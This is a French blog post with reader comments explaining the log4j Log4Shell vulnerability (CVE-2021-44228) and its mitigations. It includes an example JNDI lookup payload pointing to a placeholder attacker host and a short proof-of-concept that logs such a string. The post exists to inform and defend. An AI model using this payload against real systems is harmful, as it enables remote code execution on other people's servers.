CVE-2021-44228 - Une faille 0-day découverte dans log4j

Mettez à jour vos systèmes !

Si vous avez une application en production utilisant log4j et comptiez passer un vendredi tranquille, c’est loupé ! Une faille 0-day vient d’être publiée touchant la version la plus récente de log4j du doux nom de CVE-2021–44228. Alors plongeons-nous dans cette faille et voyons quel est l’impact et comment fixer tout ça.

C'est quoi log4j

log4j est un utilitaire de logging principalement utilisé dans l’écosystème Java. Il s’agit probablement de l’utilitaire le plus populaire et l’un des plus utlisés dans les applications Java.

Son utilisation est très simple. Vous avez simplement à ajouter une dépendance à log4j et puis vous pouvez l’utiliser dans votre code comme ceci par exemple:

import org.apache.log4j.Logger;

/* More imports */

public class Log4JDemo {

   private static final Logger log = Logger.getLogger(Log4JDemo.class.getName());
   
   public static void main(String[] args)throws Exception {
      log.info("Ceci est une ligne info");
      log.error("Attention, une erreur vient de se produire !");
   }
}

Vous pouvez aussi définir tout un tas de propriétés dans un fichier log4j.properties pour décider de quel niveau de log vous voulez utiliser, dans quel fichier ces logs seront écrits, etc..

La faille CVE-2021-44228

La faille CVE-2021–44228 a été publiée ce vendredi matin et a eu l’effet d’une bombe. Elle impacte les versions jusqu’aux plus récentes (2.14.1) et permet aux attaqueurs d’injecter du code dans votre application.

Pour ce faire, il suffit à l’attaqueur de connaitre (ou deviner) des valeurs qui sont loggées dans votre application (par exemple, si vous loggez le nom d’utilisateur ou son user-agent lors d’une connexion réussie). Il lui suffira ensuite d’envoyer une chaine de caractères particulière qui ressemble à ${jndi:ldap://attacker.com/a}. Lorsque log4j verra cette chaine de caractères, il essaiera de faire un appel vers ldap://attacker.com/a afin de charger cette classe en mémoire (via le système JNDI) et l’exécuter. Comme vous le voyez, il s’agit d’une classe implémentée par l’attaqueur qui sera chargée et exécutée dans votre application.

Dans le POC fourni lors de la publication de la faille, le code de reproduction est aussi simple que ceci:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

Comment me protéger ?

J’espère que vous aurez compris que cette faille est très sérieuse et doit être corrigée au plus vite. Heureusement, plusieurs options s’offrent à vous.

La première approche et sans doute la plus sure est de mettre à jour votre système et utiliser la version 2.15 de log4j qui a été développée dans l’urgence par l’équipe en charge de log4j.

Une autre approche est de lancer votre application avec l’option -Dlog4j2.formatMsgNoLookups=true. Ceci interdira à log4j de faire ses appels JNDI lorsqu’une chaine de caractères malicieuses est loggée.

Enfin, si vous utilisez des versions de Java plus récentes que 6u211, 7u201, 8u191 ou 11.0.1, il semble que vous n’êtes pas impactés par cette attaque. En effet, dans ces versions, la valeur com.sun.jndi.ldap.object.trustURLCodebase est fausse par défaut, ce qui empêche l’exécution de code via JNDI utilisant LDAP.

Dans tous les cas, si vous utilisez log4j, faites votre propre évaluation et prenez les mesures qui s’imposent. Les approches proposées ici ne sont que des suggestions et vous devriez faire des recherches plus approfondies en fonction de votre application avant de décider de l’approche à suivre.


Vous l’aurez compris, cette faille de sécurité peut avoir des effets désastreux. Donc n’attendez plus, et patchez vos systèmes ! J’espère que cette faille ne gâchera pas trop votre vendredi et que vous pourrez malgré tout passer un agréable week-end.

Pour plus d’informations sur cette faille:

6 commentaires

Merci @Migwel pour ce billet récapitulatif !

Je rajoute que Log4J est tellement utilisé que même si vous ne l’utilisez pas directement, il est peut-être quelque part dans l’une de vos dépendances… ça vaut le coup de vérifier, étant donné la facilité d’exploitation et le risque potentiels.

On pourrait longuement discuter de l’intérêt de pouvoir aller charger des objets distants à partir d’un formatage de log, et de pourquoi cette fonctionnalité était active par défaut jusqu’il y a peu. En fait, le pire dans cette faille, c’est qu’on ne connait aucun cas public d’utilisation légitime de cette fonctionnalité :

There’s also a cost to searching formatted message strings for particular escape sequences which define lookups. This feature is not used as far as we’ve been able to tell searching github and stackoverflow, so it’s unnecessary for every log event in every application to burn several cpu cycles searching for the value.

Et si vous ne l’utilisez pas, peut-être qu’un de vos outils que vous utilisez l’utilise !

Basiquement, tout logiciel Java est suspect désormais.

+0 -0

@Chinoisfurax Tu as raison que j’aurais pu être plus clair et mentionner à chaque fois qu’il s’agit de log4j2. Cela dit, selon ce commentaire, log4j1 est aussi impacté sous certaines conditions et, de toute façon, n’est plus supporté donc il me semble que si des gens utilisent toujours log4j1, ils ont d’autres soucis à se faire.

Migwel

Oui, pas de doute là-dessus (j’en ai rajouté en edit sur mon commentaire d’ailleurs). Le truc c’est que il n’est pas improbable que log4j 1 soit aujourd’hui encore très utilisé.

Je connais un framework majeur qui utilise encore log4j 1 dans ses dernières versions et qui en plus ne rend pas très simple le remplacement :(

+1 -0
Connectez-vous pour pouvoir poster un message.
Connexion

Pas encore membre ?

Créez un compte en une minute pour profiter pleinement de toutes les fonctionnalités de Zeste de Savoir. Ici, tout est gratuit et sans publicité.
Créer un compte